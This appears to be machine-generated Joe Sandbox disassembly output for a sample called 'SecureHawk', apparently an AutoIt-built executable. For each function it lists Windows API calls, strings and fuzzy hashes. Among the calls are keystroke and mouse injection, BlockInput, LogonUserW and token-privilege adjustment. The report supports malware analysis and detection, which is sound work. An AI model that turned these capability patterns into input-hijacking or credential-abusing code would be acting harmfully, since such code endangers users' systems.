keybd_event.USER32(?,76C1C0D0,?,00000000), ref: 00351980

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 64abaf31fabdb1d248233f0d014e7cbce5967297c442aa0dda02dcaa1637d50a
Instruction ID: 6e63c8e7c35d0ce0d07993d95834de1c01812de9d4722daaee085672ccef21da
Opcode Fuzzy Hash: 64abaf31fabdb1d248233f0d014e7cbce5967297c442aa0dda02dcaa1637d50a
Instruction Fuzzy Hash: 99F0497190420DABDB05CF94C805BFEBBB8EF04315F00804AFD55962A1C3798619DFA4

Function 0035A51A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,0036991A,?,0038098C,?), ref: 0035A547
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,?,?,0036991A,?,0038098C,?), ref: 0035A559

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 2d32658c555bdc79cb42354194c5005c8699fb0c2a8fee2d0c60eb59a25905d4
Instruction ID: 6d696c957bce31237dc5cd65c3815e2dd3c5f32c5c790c2bd3f8822a11582905
Opcode Fuzzy Hash: 2d32658c555bdc79cb42354194c5005c8699fb0c2a8fee2d0c60eb59a25905d4
Instruction Fuzzy Hash: C0F0273510132DBBDB22AFA4DC48FEA376CFF0D361F008255F908D6190E6709A04CBA1

Function 00348BCC Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00348D0A), ref: 00348BE1
CloseHandle.KERNEL32(?,?,00348D0A), ref: 00348BF3

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 774ed4bb3beb8838ffe508ebe1294b961cd7726432f24ad4f3fa7c1e3d3cd865
Instruction ID: 3d59097cccd10261896055a91c7056598234519750b985fd14b27078d8521f96
Opcode Fuzzy Hash: 774ed4bb3beb8838ffe508ebe1294b961cd7726432f24ad4f3fa7c1e3d3cd865
Instruction Fuzzy Hash: 7FE04F71004600AFE76B2B60EC05EB77BADEF04311B10851AB55584430CB716CD1DB50

Function 0031A2B5 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,0000FFFF,00318EB7,0000FCD7,?,?,00000001), ref: 0031A2BA
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 0031A2C3

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 3c93ea210457085af6e2fc84662677074f329e91994c7f6eb024bc2b10d2fdb7
Instruction ID: 64c9af352fee89bbd7d24eb304b7058ae4323150f6b60be414f9b3e1c5f3a14c
Opcode Fuzzy Hash: 3c93ea210457085af6e2fc84662677074f329e91994c7f6eb024bc2b10d2fdb7
Instruction Fuzzy Hash: 8EB09235064308ABCA862B91EC09B883F6CEB46B62F004090F64D44060CBA254548B91

Function 003643B9 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 003643D4

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: bc37c539d5c4198042ee603d6041442574466d3f00befc2e43b1f42f672f6657
Instruction ID: d590dd27883f40632ac4edafacf7d93c0e9c4baa8381118cf40692dd7bcb782c
Opcode Fuzzy Hash: bc37c539d5c4198042ee603d6041442574466d3f00befc2e43b1f42f672f6657
Instruction Fuzzy Hash: 2AE0D8352102045FC300AF59E400997F7DCEF543A0F00C025FE05D7311DAB0EC208B90

Function 0035507B Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 0035509E

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 8d0f7735c8064062560a27a0965129137f8fab97cddbb87649c6c7de510d58b5
Instruction ID: e5bf602456de323c2d4bedbc514ffdcc6e35e40f60c3b1d6275c49c8104e3f24
Opcode Fuzzy Hash: 8d0f7735c8064062560a27a0965129137f8fab97cddbb87649c6c7de510d58b5
Instruction Fuzzy Hash: DBD017A0120B0468E87A0730982BF761138A3407D3F9501893A058B0E49A90B848A070

Function 0034914C Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00348D8A), ref: 0034916C

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 2d15b91cdaf823b7dbe527195af4bcfe1bf21d37002e39b107f1a39594038aee
Instruction ID: 18ad0e568243a1fd8e9831664617fbfc32f6b3cdf377f50ac5bac22c16abcab5
Opcode Fuzzy Hash: 2d15b91cdaf823b7dbe527195af4bcfe1bf21d37002e39b107f1a39594038aee
Instruction Fuzzy Hash: 24D05E7326060EABEF018EA4DC01EAE3B69EB04B01F408111FE15D50A0C775D835AB60

Function 00330652 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00330664

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 1eb2fa0f13fc3909f9af1ab463f7f6dfb03f8374a6c226ac0a32ec829653375a
Instruction ID: d6ed30d4750cf8f56b43c684b9d3cebeb83e82ea3554d8c618d03882d2ac06c1
Opcode Fuzzy Hash: 1eb2fa0f13fc3909f9af1ab463f7f6dfb03f8374a6c226ac0a32ec829653375a
Instruction Fuzzy Hash: CEC04CF180011DDBCB06DB90DA88DEE77BCAB04304F100066A101F2100D7749B448B71

Function 0031A284 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 0031A28A

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 873122da9b7302908ddc5211bffbaac3b60ac692ffe97389813668389c309cfa
Instruction ID: 52c7a11282cf30aae1d4fa2632e438017d4d70d99e33aeeb5c0389802e8d3695
Opcode Fuzzy Hash: 873122da9b7302908ddc5211bffbaac3b60ac692ffe97389813668389c309cfa
Instruction Fuzzy Hash: 3CA0113002020CAB8A022B82EC08888BFACEA022A0B0080A0F80C000228BB2A8208A80

Function 00367CB8 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00367D0D
DeleteObject.GDI32(00000000), ref: 00367D1F
DestroyWindow.USER32 ref: 00367D2D
GetDesktopWindow.USER32 ref: 00367D47
GetWindowRect.USER32(00000000), ref: 00367D4E
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 00367E8F
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00367E9F
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00367EE7
GetClientRect.USER32(00000000,?), ref: 00367EF3
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00367F2D
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00367F4F
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00367F62
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00367F6D
GlobalLock.KERNEL32(00000000), ref: 00367F76
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00367F85
GlobalUnlock.KERNEL32(00000000), ref: 00367F8E
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00367F95
GlobalFree.KERNEL32(00000000), ref: 00367FA0
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00367FB2
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00383C7C,00000000), ref: 00367FC8
GlobalFree.KERNEL32(00000000), ref: 00367FD8
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00367FFE
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 0036801D
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0036803F
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0036822C

Strings

static, xrefs: 00367F27, 0036807E
AutoIt v3, xrefs: 00367EDF
DISPLAY, xrefs: 0036808F
, xrefs: 003681B2

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: e74567c41a50068e72910804533d9de9f37bfbfe870efa194a59fad6b51105c4
Instruction ID: 3a19eb518f5d56d902ba244f89312055119a3d37a33983b3f32386b32e62ba32
Opcode Fuzzy Hash: e74567c41a50068e72910804533d9de9f37bfbfe870efa194a59fad6b51105c4
Instruction Fuzzy Hash: 5E027E71900219EFDB15DF64CC89EAEBBB9EF48314F008558FA15AB2A1DB74AD05CF60

Function 00373971 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00380980), ref: 00373A2D
IsWindowVisible.USER32(?), ref: 00373A51

Strings

ISENABLED, xrefs: 00373A71
GETCURRENTSELECTION, xrefs: 00373BE9
SENDCOMMANDID, xrefs: 00373DE0
GETLINE, xrefs: 00373DA1
TABRIGHT, xrefs: 00373AA3
FINDSTRING, xrefs: 00373B7C
EDITPASTE, xrefs: 00373D65
GETCURRENTCOL, xrefs: 00373D2E
ISVISIBLE, xrefs: 00373A3D
UNCHECK, xrefs: 00373C89
HIDEDROPDOWN, xrefs: 00373B06
GETLINECOUNT, xrefs: 00373CCC
SETCURRENTSELECTION, xrefs: 00373BBC
CHECK, xrefs: 00373C73
TABLEFT, xrefs: 00373A8D
ISCHECKED, xrefs: 00373C3F
GETCURRENTLINE, xrefs: 00373CF3
ADDSTRING, xrefs: 00373B1C
DELSTRING, xrefs: 00373B4F
SELECTSTRING, xrefs: 00373C0C
GETSELECTED, xrefs: 00373CA9
CURRENTTAB, xrefs: 00373AC3
SHOWDROPDOWN, xrefs: 00373AE6

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 0eed2952454962fd12c6d466cfa69a13f99220db6ca80c3d304369692cf48701
Instruction ID: 00d9c891c4ec34fb7e12bc1c26e53a85c632429cd633a3e2ca8537d179e47ce8
Opcode Fuzzy Hash: 0eed2952454962fd12c6d466cfa69a13f99220db6ca80c3d304369692cf48701
Instruction Fuzzy Hash: 77D1C9312042018BC72AEF10C451ABAB7A5EF85344F548558F89A5F6E3CB75EE4ADF81

Function 0037A9C7 Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0037AA1D
GetSysColorBrush.USER32(0000000F), ref: 0037AA4E
GetSysColor.USER32(0000000F), ref: 0037AA5A
SetBkColor.GDI32(?,000000FF), ref: 0037AA74
SelectObject.GDI32(?,00000000), ref: 0037AA83
InflateRect.USER32(?,000000FF,000000FF), ref: 0037AAAE
GetSysColor.USER32(00000010), ref: 0037AAB6
CreateSolidBrush.GDI32(00000000), ref: 0037AABD
FrameRect.USER32(?,?,00000000), ref: 0037AACC
DeleteObject.GDI32(00000000), ref: 0037AAD3
InflateRect.USER32(?,000000FE,000000FE), ref: 0037AB1E
FillRect.USER32(?,?,00000000), ref: 0037AB50
GetWindowLongW.USER32(?,000000F0), ref: 0037AB7B

Part of subcall function 0037ACB7: GetSysColor.USER32(00000012), ref: 0037ACF0
Part of subcall function 0037ACB7: SetTextColor.GDI32(?,?), ref: 0037ACF4
Part of subcall function 0037ACB7: GetSysColorBrush.USER32(0000000F), ref: 0037AD0A
Part of subcall function 0037ACB7: GetSysColor.USER32(0000000F), ref: 0037AD15
Part of subcall function 0037ACB7: GetSysColor.USER32(00000011), ref: 0037AD32
Part of subcall function 0037ACB7: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0037AD40
Part of subcall function 0037ACB7: SelectObject.GDI32(?,00000000), ref: 0037AD51
Part of subcall function 0037ACB7: SetBkColor.GDI32(?,00000000), ref: 0037AD5A
Part of subcall function 0037ACB7: SelectObject.GDI32(?,?), ref: 0037AD67
Part of subcall function 0037ACB7: InflateRect.USER32(?,000000FF,000000FF), ref: 0037AD86
Part of subcall function 0037ACB7: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0037AD9D
Part of subcall function 0037ACB7: GetWindowLongW.USER32(00000000,000000F0), ref: 0037ADB2
Part of subcall function 0037ACB7: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0037ADDA

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: dbfcfcad0172a6216d21aa7a7900fe703bad9f188590cf07329dd930a827a7de
Instruction ID: 01351c18530c3d4fa37aafb5a867b0bc918272d9d82b55a781f382b9f56396c6
Opcode Fuzzy Hash: dbfcfcad0172a6216d21aa7a7900fe703bad9f188590cf07329dd930a827a7de
Instruction Fuzzy Hash: FA919C72008701AFCBA69F64DC08E6F7BADFF89321F104A19F966961A0D774D948CF52

Function 002F2FE8 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 002F3072
DeleteObject.GDI32(00000000), ref: 002F30B8
DeleteObject.GDI32(00000000), ref: 002F30C3
DestroyIcon.USER32(00000000,?,?,?), ref: 002F30CE
DestroyWindow.USER32(00000000,?,?,?), ref: 002F30D9
SendMessageW.USER32(?,00001308,?,00000000), ref: 0032C6AC
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 0032C6E5
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0032CB0E

Part of subcall function 002F1F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,002F2412,?,00000000,?,?,?,?,002F1AA7,00000000,?), ref: 002F1F76

SendMessageW.USER32(?,00001053), ref: 0032CB4B
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 0032CB62
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0032CB78
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0032CB83

Strings

0, xrefs: 0032C9A2

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 70dd9d61dba9954b38fb5a3d57a8d0c05a5a19437d5108038c42b046dc76c2c5
Instruction ID: 59e94a1878460c685b0b55dca464048c9601704cca9ebade8d6a7d056e8f9de6
Opcode Fuzzy Hash: 70dd9d61dba9954b38fb5a3d57a8d0c05a5a19437d5108038c42b046dc76c2c5
Instruction Fuzzy Hash: C612BD30620215EFCB26CF28D884BA9BBA5BF08340F15557AF595CB262CB31ED55CF91

Function 003027FC Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 298COMMON

Download Yara Rule

APIs

Part of subcall function 00310F16: std::exception::exception.LIBCMT ref: 00310F4C
Part of subcall function 00310F16: __CxxThrowException@8.LIBCMT ref: 00310F61

__wcsnicmp.LIBCMT ref: 0030286A
__wcsnicmp.LIBCMT ref: 0030287E
__wcsnicmp.LIBCMT ref: 00302896
__wcsnicmp.LIBCMT ref: 003028AE
__wcsnicmp.LIBCMT ref: 003028C6
__wcsnicmp.LIBCMT ref: 003028DE
__wcsnicmp.LIBCMT ref: 003028F6
__wcsnicmp.LIBCMT ref: 0030290A
__wcsnicmp.LIBCMT ref: 00302948
__wcsnicmp.LIBCMT ref: 0030295C
__wcsnicmp.LIBCMT ref: 00302970
__wcsnicmp.LIBCMT ref: 00302984

Strings

Bad directive syntax error, xrefs: 0033FB53, 0033FB70
Unterminated group of comments, xrefs: 0033FC7A
#pragma compile, xrefs: 00302864
#cs, xrefs: 00302904, 00302956
#comments-end, xrefs: 0030296A
#requireadmin, xrefs: 00302890
#ce, xrefs: 0030297E
', xrefs: 0033FB1F
#notrayicon, xrefs: 00302878
#OnAutoItStartRegister, xrefs: 003028A8
Cannot parse #include, xrefs: 0033FC65
#include-once, xrefs: 003028C0
#include, xrefs: 003028D8
#comments-start, xrefs: 003028F0, 00302942
", xrefs: 0033FB09

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: __wcsnicmp$Exception@8Throwstd::exception::exception
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 2660009612-1645009161
Opcode ID: aa7ce2a05d04243ee53d4117c01e72204e86e7c9dd4a3116f6c78c56b3e0a46b
Instruction ID: aac507e5045a552865743544497e28ef8a744cc3bb5c5382c3ba7b42a59828cb
Opcode Fuzzy Hash: aa7ce2a05d04243ee53d4117c01e72204e86e7c9dd4a3116f6c78c56b3e0a46b
Instruction Fuzzy Hash: F7A18F71A45209BBCB17AF60CCA6FBF77B8AF49700F144069F8056B2D2EB709A51D750

Function 0036795A Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 0036798D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00367A4C
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00367A8A
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00367A9C
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00367AE2
GetClientRect.USER32(00000000,?), ref: 00367AEE
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00367B32
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00367B41
GetStockObject.GDI32(00000011), ref: 00367B51
SelectObject.GDI32(00000000,00000000), ref: 00367B55
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00367B65
